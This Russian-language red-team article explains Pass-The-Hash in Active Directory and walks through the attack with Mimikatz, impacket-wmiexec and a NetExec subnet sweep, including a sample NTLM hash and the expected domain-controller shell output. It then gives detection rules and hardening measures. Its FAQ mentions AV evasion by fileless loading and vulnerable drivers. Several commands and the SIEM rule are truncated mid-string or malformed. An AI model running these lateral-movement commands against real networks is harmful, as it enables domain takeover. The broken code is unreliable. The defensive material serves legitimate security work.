

Pass-The-Hash (PtH) в современных доменах AD: От анатомии протоколов до боевого применения и эшелонированной защиты

 redsec.by/article/pass-the-hash-ptH-v-sovremennyh-domenah-ad-ot-anatomii-protokolov-do-boevogo-primeneniya-i-eshelonirovannoj-zashity

Red Teams | 17 марта 2026



В корпоративных сетях пароль давно перестал быть единственной целью злоумышленника. В реалиях современных инфраструктур на базе Active Directory сам факт наличия сложного пароля не защищает от компрометации, если архитектура позволяет извлекать его криптографические эквиваленты прямо из памяти. Техника Pass-The-Hash (PtH) остается одним из самых надежных и разрушительных методов бокового перемещения (Lateral Movement).

Данный материал представляет собой глубокий технический разбор механики PtH. Мы рассмотрим весь жизненный цикл уязвимости: от фундаментальных принципов работы протоколов аутентификации до практической реализации атаки и выстраивания эшелонированной защиты в современных средах.

Фундаментальная анатомия процесса: Как работает аутентификация

Чтобы эффективно эксплуатировать или защищать инфраструктуру, необходимо понимать, как именно операционная система обрабатывает учетные данные «под капотом».

Принцип работы протокола NTLM и роль хэша

В семействе протоколов NTLM (NT LAN Manager) пароль пользователя никогда не передается по сети в открытом текстовом виде. Это базовое правило безопасности, которое, по иронии судьбы, породило уязвимость класса Pass-The-Hash.

Вместо прямой передачи пароля используется механизм «вызов-ответ» (Challenge-Response):

1. Клиент пытается получить доступ к ресурсу на сервере.
2. Сервер генерирует случайное 8-байтовое число (Challenge) и отправляет его клиенту.
3. Клиент берет NTLM-хэш своего пароля и использует его в качестве криптографического ключа для шифрования полученного Challenge.
4. Зашифрованный ответ (Response) отправляется обратно на сервер.
5. Сервер (или Контроллер Домена) выполняет ту же операцию шифрования со своей стороны. Если результаты совпадают, аутентификация признается успешной.

[РИСКИ] Поскольку сам NTLM-хэш является ключом для алгоритма шифрования ответа, серверу или целевой системе абсолютно не нужно знать исходный текстовый пароль. В парадигме протокола NTLM хэш фактически приравнивается к паролю. Завладев хэшем, атакующий получает полный контроль над процессом аутентификации.

Кэширование в памяти и процесс LSASS

Механизм Single Sign-On (SSO) в Windows создан для удобства: пользователю не нужно вводить пароль при каждом обращении к корпоративному файловому серверу или принтеру. Для обеспечения этой бесшовной работы операционная система кэширует учетные данные.

За это отвечает процесс `lsass.exe` (Local Security Authority Subsystem Service). LSASS хранит в оперативной памяти хэши паролей и билеты Kerberos для всех активных сессий на локальной машине.

[ВАЖНО] Смена пароля в Active Directory не инвалидирует мгновенно уже украденный NTLM-хэш, если сессия скомпрометированного пользователя все еще активна, а билеты или кэшированные данные не были принудительно сброшены.

Векторы атаки и условия среды

Атака Pass-The-Hash не происходит в вакууме. Для ее успешной реализации требуется соблюдение определенных архитектурных и привилегированных условий.

Требования к привилегиям

Для извлечения хэшей из памяти атакующему необходим высокий уровень доступа на уже скомпрометированной (pivot) машине. Чтение памяти процесса `lsass.exe` или доступ к локальной базе SAM (Security Account Manager) требует прав локального администратора (Local Administrator) или системных привилегий (NT AUTHORITY\SYSTEM).

Без первоначального повышения привилегий на рабочей станции атака PtH невозможна.

Особенности современных операционных систем

В современных гибридных и обновленных инфраструктурах (например, связка клиентских сегментов на базе Windows 10 и серверов под управлением Windows Server 2025) Microsoft активно внедряет механизмы отказа от NTLM. В Windows Server 2025 механизмы аудита и гранулярной блокировки протокола существенно улучшены.

Однако, в подавляющем большинстве корпоративных сетей NTLMv2 остается разрешенным из-за необходимости обеспечения обратной совместимости с legacy-приложениями, старыми NAS-хранилищами и сторонним ПО.

Атака преимущественно проводится через порты следующих протоколов:

- **SMB (TCP 445):** Для доступа к файловым шарам и удаленного исполнения кода через создание служб.
- **WMI / DCOM (TCP 135 + динамические порты RPC):** Для скрытного выполнения команд без создания бинарных артефактов на диске.
- **WinRM (TCP 5985 / 5986):** Для удаленного управления через PowerShell.

Боевой инструментарий Red Team

Профессиональный пентест требует понимания механики работы инструментов, а не простого перебора флагов. Рассмотрим де-факто стандарты отрасли для извлечения хэшей и бокового перемещения.

Mimikatz: Прямые манипуляции с памятью

Инструмент от Бенжамина Дельпи остается эталоном. Модули `sekurlsa::logonpasswords` и `sekurlsa::pth` работают напрямую с подсистемой LSA.

Команда `sekurlsa::pth` не просто "передает" хэш по сети. Механика ее работы гораздо элегантнее:

1. Mimikatz создает новый локальный процесс (чаще всего `cmd.exe`).
2. Процесс запускается в приостановленном состоянии (`suspended`).
3. Утилита патчит маркер доступа (`access token`) этого процесса в памяти LSASS, подставляя туда переданный NTLM-хэш.
4. Процесс возобновляется.

С этого момента любые сетевые обращения (например, попытка открыть `\\DC01\C$`) из этого командного окна будут автоматически использовать поддельный токен с внедренным хэшем.

Семейство Impacket: Скрытное перемещение по сети

Impacket — это набор Python-классов для работы с сетевыми протоколами. Незаменим при атаках с Linux-инфраструктуры (например, Kali Linux или кастомных C2-серверов).

Разные скрипты из набора имеют разный уровень скрытности (OPSEC):

- **wmiexec.py**: Наиболее скрытный метод. Взаимодействует через DCOM и WMI. Команды выполняются через инстанцирование класса `Win32_Process`. Этот метод не создает новых системных служб на целевой машине, что делает его менее заметным для базовых средств мониторинга.
- **smbexec.py**: Действует грубее. Создает временную службу Windows, выполняет команду через `cmd.exe /c`, перенаправляет стандартный вывод (`stdout`) во временный файл в скрытой шаре (обычно `ADMIN$`), читает результат по сети и удаляет службу. Оставляет больше следов в журнале System (Event ID 7045).
- **psexec.py**: Самый шумный инструмент. Загружает исполняемый файл (обычно случайного вида, представляющий собой `RemComSvc`) в файловую систему через SMB, регистрирует службу и запускает ее. Легко детектируется любым современным EDR.

NetExec (бывший CrackMapExec)

Инструмент швейцарский нож для автоматизации эксплуатации протоколов Windows. Позволяет взять один извлеченный хэш и массово "простучать" им всю подсеть.

[ПРАКТИКА] Использование NetExec критически важно для этапа разведки. Атакующий мгновенно получает карту серверов, где скомпрометированная учетная запись имеет административные привилегии (индицируется флагом `Pwn3d!`), минимизируя ручной перебор.

Практическая реализация: Пошаговый сценарий (Proof of Concept)

Разберем детальный сценарий реализации атаки в современной лабораторной или боевой среде.

Условия стенда: Атакующий имеет доступ к Linux-машине. Ранее была успешно скомпрометирована рабочая станция разработчика на базе Windows 10. В результате дампа памяти `lsass.exe` был извлечен хэш учетной записи администратора домена `redsec.by`. Наша цель — выполнить произвольный код на контроллере домена под управлением Windows Server 2025 (IP: 192.168.1.100), используя технику Pass-The-Hash.

Этап 1: Подготовка хэша

Предположим, дамп памяти выдал следующий результат для учетной записи Administrator:

```
User: Administrator
Domain: REDSEC
LM Hash: aad3b435b51404eeaad3b435b51404ee
NTLM Hash: 88e4d9faba26fed3f40d723fa8c9bbcb
```

Обратите внимание на синтаксис. Первая часть до двоеточия (`aad3b4...`) — это исторический пустой LM-хэш. Современные ОС его не используют, но инструменты часто требуют передачи полной строки формата LM:NTLM. Вторая часть (`88e4...`) — это сам NTLM-хэш.

Этап 2: Выполнение кода на контроллере домена (Windows Server 2025)

Для получения полуинтерактивной оболочки с максимальным уровнем OPSEC мы используем скрипт `wmiexec.py` из пакета `Impacket`. Синтаксис требует точного указания хэша, домена, пользователя и целевого IP-адреса.

[ОШИБКА] Частая ошибка начинающих специалистов — попытка передать только NTLM часть хэша без LM-заглушки или неправильное экранирование доменного имени в `bash`.

Выполняем команду с машины атакующего:

```
# Формат: impacket-wmiexec -hashes LMHASH:NTHASH Домен/Пользователь@IP_Цели
impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9faba26fed3f40d723fa8
```

Ожидаемый консольный вывод (`stdout`) при успешной аутентификации и получении командной строки `SYSTEM/Admin`:

```
Impacket v0.12.0 - Copyright 2023 Fortra
[*] SMBv3.1.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\> whoami
redsec\administrator

C:\> systeminfo | findstr /B /C:"OS Name"
OS Name:                Microsoft Windows Server 2025 Datacenter

C:\> hostname
DC01
```

Альтернативный этап: Массовая проверка прав через NetExec

Если мы не знаем точного IP-адреса контроллера домена или хотим найти другие скомпрометированные серверы, мы применяем NetExec по всей подсети:

```
nxc smb 192.168.1.0/24 -u Administrator -H 88e4d9faba26fed3f40d723fa8c9bbcb --local-
```

Результат выполнения покажет список хостов, протоколы аутентификации, статус подписи SMB (SMB Signing) и, самое главное, флаг Pwn3d!, подтверждающий административный доступ.

Стратегия защиты: Blue Team и Hardening

Защита от Pass-The-Hash требует комплексного архитектурного подхода. Невозможно закрыть одну уязвимость патчем; необходимо менять логику работы инфраструктуры с учетными данными.

Мониторинг и аудит (Журналы событий Windows)

Первая линия обороны — грамотно настроенный SIEM и сбор событий безопасности с конечных точек (Event Logs). Охота за угрозами (Threat Hunting) опирается на конкретные идентификаторы событий.

- **Event ID 4624 (Успешный вход в систему):** Это ваш главный индикатор. Ключевой маркер атаки PtH (особенно при использовании Mimikatz) — это тип входа Logon Type 9 (NewCredentials). Этот тип входа создается, когда злоумышленник или легитимный администратор запускает процесс с параметром /netonly (аутентификация с альтернативными сетевыми учетными данными).
- **Event ID 4672 (Назначение специальных привилегий):** Отслеживание входа привилегированных учетных записей. Корреляция этого события с Logon Type 9 — красный флаг.

- **Event ID 4688 (Создание нового процесса):** Если событие 4624 (Logon Type 9) сопровождается событием 4688, где родительским процессом выступает `svchost.exe` (в случае WMI), а дочерним процессом становится запуск интерпретатора команд (`cmd.exe` или `powershell.exe`) с передачей длинных base64 строк, это указывает на явную эксплуатацию через WMI-экзекюторы.

Пример корреляционного правила для SIEM:

```
{
  "rule_name": "Potential Pass-The-Hash via WMI",
  "logic": "AND",
  "conditions": [
    {"event_id": 4624, "logon_type": 9},
    {"event_id": 4688, "parent_process": "*\\svchost.exe", "process_name": "*\\cmd.e"},
  ],
  "action": "Alert_SOC_Team"
}
```

Архитектурные меры изоляции и предотвращения

Мониторинг позволяет реагировать, но наша цель — предотвратить извлечение хэшей и их использование.

1. Windows Defender Credential Guard

Credential Guard — это наиболее эффективная встроенная защита от извлечения учетных данных. Технология использует безопасность на основе виртуализации (Virtualization-Based Security, VBS) для изоляции секретов.

Она создает изолированный процесс LSA (LSAiso) в безопасном контейнере аппаратного гипервизора Hyper-V. Стандартный процесс `lsass.exe` в пользовательской ОС общается с LSAiso через вызовы RPC. Даже если атакующий получит наивысшие права SYSTEM в операционной системе, он не сможет прочитать память защищенного контейнера гипервизора напрямую. NTLM-хэши останутся недостижимыми для Mimikatz.

[РЕКОМЕНДАЦИИ] Внедрение осуществляется через групповые политики (GPO):
Computer Configuration -> Administrative Templates -> System -> Device Guard
-> Turn On Virtualization Based Security.

2. Внедрение Microsoft LAPS

Local Administrator Password Solution (LAPS) предотвращает самое распространенное боковое перемещение — через общие пароли локальных администраторов на рабочих станциях.

Сценарий: администратор ставит один образ Windows 10 на 500 машин корпоративной сети с одинаковым паролем для встроенной учетки Администратор. Хакер компрометирует один ПК, дампит хэш и получает права админа на всех 500 машинах.

LAPS генерирует уникальные, случайные и сложные пароли для каждого компьютера, периодически их меняет и безопасно хранит в защищенном атрибуте Active Directory (например, ms-Mcs-AdmPwd). Если злоумышленник получит хэш локального администратора с одной машины, этот хэш будет бесполезен на любой другой. Современный LAPS интегрирован нативно в новые версии Windows.

3. Restricted Admin Mode для RDP

Часто администраторы домена сами приносят свои хэши злоумышленникам, подключаясь по RDP к уже скомпрометированным серверам для "проверки логов". При обычном RDP-подключении учетные данные администратора кэшируются в LSASS целевого сервера.

Режим Restricted Admin Mode решает эту проблему. При подключении клиент не передает хэш пароля на удаленный сервер.

Включение на целевых серверах (через реестр):

```
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRe
```

Запуск клиента на машине администратора:

```
mstsc.exe /restrictedadmin
```

4. Глобальная блокировка NTLM

Радикальный, но единственно верный путь в долгосрочной перспективе — полный отказ от NTLM в пользу Kerberos.

Для этого используются политики безопасности Network Security: Restrict NTLM. Путь в GPO: Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options

[ВАЖНО] Никогда не включайте блокировку входящего и исходящего NTLM-трафика в домене без предварительного включения режима аудита (Audit All). Резкое отключение NTLM гарантированно нарушит работу устаревших сервисов, сканеров, принтеров и сторонних интеграций. Проведите аудит Event ID 8004 (NTLM-аутентификация), переведите выявленные системы на Kerberos или создайте исключения, и только затем включайте блокировку (Deny All).

Чек-лист защиты инфраструктуры от Pass-The-Hash

1. Аппаратная поддержка виртуализации включена в BIOS/UEFI.
2. Windows Defender Credential Guard активирован на всех рабочих станциях Windows 10/11 и серверах.
3. Развернут и настроен Microsoft LAPS для управления локальными учетными записями.
4. Администраторам предписано использовать только Restricted Admin Mode при RDP-подключениях к не доверенным узлам.
5. Настроен централизованный сбор Event ID 4624 (Logon Type 9) и настроены алерты в SIEM.
6. Внедрена политика Tier-модели (многоуровневая архитектура AD), запрещающая вход администраторов домена (Tier 0) на рабочие станции пользователей (Tier 2).

Техника Pass-The-Hash не эксплуатирует уязвимость нулевого дня или ошибку в коде; она эксплуатирует саму архитектуру легитимных процессов аутентификации Microsoft. В условиях, когда злоумышленники активно используют Impacket и NetExec для автоматизации бокового перемещения за считанные секунды, фокус инженеров информационной безопасности должен сместиться с попыток "поймать хакера" на концепцию Zero Trust и изоляцию привилегий.

Внедрение Credential Guard, обязательное использование LAPS и жесткая сегментация привилегий в рамках Tier-архитектуры превращают некогда плоскую и уязвимую сеть в лабиринт, где каждый шаг атакующего требует немыслимых усилий и генерирует шум, моментально обнаруживаемый командой защиты. Отказ от NTLM — это не вопрос выбора, это вопрос времени и стабильности вашей инфраструктуры.

FAQ (Часто задаваемые вопросы)

1. Спасает ли двухфакторная аутентификация (MFA) от атак Pass-The-Hash?

Напрямую — нет. MFA защищает этап первичной аутентификации (например, вход в VPN или на рабочую станцию с нуля). Если злоумышленник уже находится внутри сети и извлекает хэш активной сессии из памяти LSASS, он обходит процесс первичного ввода пароля и MFA. Однако MFA критически важна для предотвращения самого первого проникновения.

2. Почему нельзя просто отключить службу LSASS? LSASS — это критически важный системный процесс (Local Security Authority). Без него операционная система Windows не сможет обрабатывать входы пользователей, применять политики безопасности и взаимодействовать с Active Directory. Остановка процесса приведет к немедленному падению системы (BSOD).

3. Можно ли извлечь пароль в открытом виде из NTLM-хэша? Математически обратить алгоритм хэширования невозможно. Однако хэш можно подвергнуть брутфорсу (перебору) или атаке по словарю с использованием утилит вроде Hashcat или John the Ripper. Если пароль был сложным, перебор займет слишком много времени, но для техники PtH знание пароля в открытом виде и не требуется.

4. Защищает ли антивирус от Mimikatz? Любой современный антивирус или EDR немедленно удалит бинарный файл `mimikatz.exe` с диска и заблокирует его выполнение. Однако профессиональные команды Red Team не используют стандартные исполняемые файлы. Они применяют техники обфускации, загрузку в память без касания диска (fileless malware), кастомные загрузчики или эксплуатируют легитимные драйверы (BYOVD - Bring Your Own Vulnerable Driver) для отключения защиты ядра (PPL) перед извлечением хэшей.

5. Что такое Pass-The-Ticket и чем он отличается от Pass-The-Hash? Pass-The-Hash эксплуатирует протокол NTLM с использованием хэшей паролей. Pass-The-Ticket (PtT) эксплуатирует протокол Kerberos. При PtT атакующий извлекает из памяти не NTLM-хэш, а билеты Kerberos (Ticket Granting Ticket - TGT или Ticket Granting Service - TGS) и использует их для доступа к ресурсам.

6. Если мы полностью перешли на Kerberos, мы в безопасности от PtH? Значительно снижается риск бокового перемещения через NTLM. Однако NTLM-хэш пользователя (NT-хэш) по-прежнему используется в Kerberos для шифрования билета TGT (в алгоритме RC4-HMAC). Утечка NTLM-хэша при использовании слабых алгоритмов шифрования Kerberos открывает путь к атакам класса Overpass-The-Hash, когда злоумышленник генерирует валидный билет Kerberos, имея на руках только NTLM-хэш.

7. Как проверить, используют ли системы в моей сети NTLM? Включите режим аудита в групповых политиках: Network Security: Restrict NTLM: Audit Incoming NTLM Traffic и Audit NTLM authentication in this domain. Отслеживайте логи контроллеров домена на предмет появления событий Event ID 8004. Это позволит собрать статистику по устройствам и сервисам, все еще зависящим от устаревшего протокола.